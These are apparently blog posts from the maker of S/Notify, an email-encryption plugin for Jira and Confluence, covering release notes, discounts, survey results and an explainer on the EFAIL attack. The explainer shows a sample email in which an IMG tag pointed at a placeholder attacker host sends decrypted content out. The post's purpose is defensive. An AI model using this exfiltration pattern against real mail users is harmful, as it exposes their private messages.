We have just released S/Notify in version 2.1.0 for both Jira and Confluence. What's new?

Improved PGP keyserver support

S/Notify now fully supports the use of the hkp and hkps protocol which is often used with PGP keyservers. This makes it even easier to setup S/Notify for PGP. 

In that context, we recommend that you also check out our article on PGP: How To Use The SKS Keyserver Pool over HTTPS, if you haven't done so already. 

Helpful verification tool for Global Key Management settings

With version 2.1.0, S/Notify executes more tests and provides you with detailed information when you press Verify Settings in the Global Key Management settings.

It checks, step by step, for the S/MIME keystore

And for the PGP keyserver, it is checked 

We hope that these improvements significantly improve the identification of any problems with keystores and keyservers.

Encryption failure report now more detailed

The report that is sent instead of the encrypted email (if so selected) is now more helpful, because it differentiates between a missing matching certificate or key and more technical reasons. 

Note that specific technical reasons are not included in the user email, because they cannot be solved by the users themselves anyway. Details still need to be looked up in the log files, and therefore, the user gets the advice to contact the Jira or Confluence administrator for further details.

Prevent data loss when login times out

Maybe you know that situation: sometimes you enter data in the admin area of Jira or Confluence, then you do something else for whatever reason, and when you get back and submit the data, a re-login is requested. Unfortunately, this nulls all input data and can cause annoying data losses. 

We've addressed this problem and now make sure that S/Notify recognizes this situation, protecting your data in the best way possible.

Reminder: Early Adopter discount is still available

Until end of July, you are still able to get S/Notify at a significant discount. 

We offer a 30% discount to all early adopters. And if you want both plugins (for Jira and Confluence), you can even get a 40% discount!

How to apply for the discounts

Please open a request through our service desk to get the discount link and more information about it.

Should we stop encrypting emails because of EFAIL?

The short is answer is: NO!

But make sure your mail client is configured not to load external email contents.

And the long answer?

The long answer is longer and you can read it below.

Why continue email encryption?

There might indeed be a chance that the contents of encrypted emails is exfiltrated. But what good could it do to stop encrypting all emails because of this?

The contents of some encrypted emails may be exposed. So don't encrypt any more?

This is obviously like putting out a fire with gasoline!

Should email encryption be considered broken?

Not really. Let's take a closer look at the problem listed in the EFAIL paper. It describes several ways to exfiltrate an encrypted email. However, they all have something in common:

How EFAIL works

The attacker inserts HTML code into message, for example by surrounding the encrypted block by an IMG tag in a way that the encrypted block is sent as a parameter to the server the SRC attributes points to.

From: sender@anydomain.net
To: receiver@otherdomain.net
Subject: Please answer asap
Content-Type: multipart/mixed;boundary="BNDRY"

Content-Type: text/html

<img src="http://attackerdomain.net/
Content-Type: application/pkcs7-mime; smime-type=enveloped-data
Content-Transfer-Encoding: base64

Content-Type: text-html

In the mail client, the encrypted part is decrypted, then the email content is displayed. The unencrypted part is seen as part of the IMG SRC url, and an http request is initiated with this url, thus exposing the email content to the server. (If the email contents contains quotation marks, the text is exfiltrated only up to the first quotation mark.)

What the attacker needs

However, to make this attack work, several prerequisites must be met:

It all cumulates in the web server request caused by the IMG tag which exposes the decrypted message to the server in the IMG url. However, it is long known, that it is very dangerous to allow a mail client to load external contents. This applies to any email, and doesn't have anything to do with email encryption! 

What about the other scenarios?

The EFAIL paper describes more so-called backchannels, as well as techniques to attack the S/MIME or PGP encryption structure directly. Still, the aim is also to inject code that causes the email client to issue external requests in order to pass the decrypted text as a parameter. 

So if external requests are disallowed, the exfiltration attempt cannot succeed.


Configure your mail client to not automatically load external content. Never. Ever.

You mail client should already be configured like that, because it is long known that the automatic loading of external content is a very dangerous configuration. 

And it is important not to let your mail client load external content, no matter if it's an encrypted or unencrypted email!

Thanks for listening. (smile)

S/Notify 2.0 with S/MIME and PGP is out now

We are proud to announce that S/Notify has been published in its release 2.0 – bringing PGP encrypted notification emails to Jira and Confluence!

Limited offer: 30% off and more for early adopters

Be quick and get a great discount as a reward. We offer a 30% discount to early adopters. And if you want both plugins (for Jira and Confluence), you can even get 40% off!

Please see below for details.

S/MIME and PGP encryption at your choice

S/Notify can encrypt all emails in either S/MIME or PGP – or you can use both encryption techniques at the same time.

Administrators can decide not only which encryption type to use, but also, if the S/MIME certificate or PGP keys are managend centrally, or if users are allowed to upload them on their own.

Immediately available for Jira and Confluence

The new and shiny S/Notify 2.0 with S/MIME and PGP support is available right now and for both, Jira and Confluence, from the Atlassian Marketplace.

Just download it from there and start your evaluation right now!

Love it? It gets even better!

We have created S/Notify, because while we think email encryption is important in general, we believe it is a must to protect our customers' data and our business. That's why we wanted not only ourselves, but everyone to be able to encrypt their email. And that's why we've decided to start S/Notify 2.0 with a special offer.

We offer a 30% discount to all early adopters. And if you want both plugins (for Jira and Confluence), you can even get a 40% discount!

How to apply for the discounts

Please open a request through our service desk to get the discount link and more information about it.

The early adopters period ends on 31st July, 2018.

Email encryption for Confluence now available

S/Notify for Confluence is out now! It provides secure notifications through automatic S/MIME encryption.

Together with S/Notify for Jira, you can now fully secure you valuable knowhow in Jira and Confluence emails .

Early adopters licenses available

We provide provide a free license to early adopters who are willing to give us detailed feedback. Please drop us a line, if you are interested and want to help us.

Survey On Email Encryption

Thanks to all who took time to answer our survey! 

The findings are quite interesting, so we wanted to share them with you. This page has been updated with the latest numbers on 17 May, 2018.

Q1: For your business, how import is it to encrypt email notifications from Jira and Confluence?

It does not come totally unexpected, that almost 85% of the participants think that, for their business, it's crucial or very important to encrypt the notification emails from Jira and Confluence.

After all, these notifications can contain invaluable insights about your projects!

Q2: In your opinion, which application needs email encryption?

Obviously, most Atlassian customers use both, Jira and Confluence. As a consequence, both applications will be used to manage crucial information. Hence it makes sense that 7 out of 10 believe that both applications should provide email encryption.

Q3: Which type of encryption do you consider to be safer?

I think this was an interesting question, and I was very curious how the answers would turn out. The vast majority believes that both encryption methods can be considered equally safe, while about one in four participants believes that PGP is safer than S/MIME. 

It would be very interesting to know more about the background of the answers. Why would PGP be considered safer than S/MIME? Does it have something to do with the different key infrastructures? Does it appear more transparent? Is S/MIME safer than PGP because of the transparent handling on the end user side? 

This sounds like more questions to ask, and we might start another survey about this some day!

Q4: Which type of encryption do you think is more convenient for the end user?

While we did expect that most participants wold vote for S/MIME due to its out-of-the-box integration with all major email user clients, we were amazed the same number of participants think PGP does a better job there.

One of the reasons we decided to choose S/MIME for email encryption in our own company was that it does not require additional software and, for example, even works with the standard Mail app on iOS devices. Again, it would be most interesting to know more about the reasons of these answers. 

Other questions

The remaining questions were about the participants' interest in a plugin for Jira and Confluence that enables email encryption. This was mainly for us to learn if there was a serious demand out there that would make it worthwhile for us to provide a plugin solution to others. What did we learn?

Well, there seems to be a demand, but to be honest, it did not come clear how serious it is. For example, three in four answered that they were interested in a free early evaluation of such a plugin. However, half of those interested decided not to give us their contact data which, of course, renders us unable to make them an offer! 

Early adopters

Are you interested in an early evaluation of our plugin? We are offering a free early evaluation. We are only asking for detailed feedbeck, so we can make sure that we provide the right solution for you.

Please contact us via the S/Notify Service Desk for details. 

We're looking forward to hearing from you!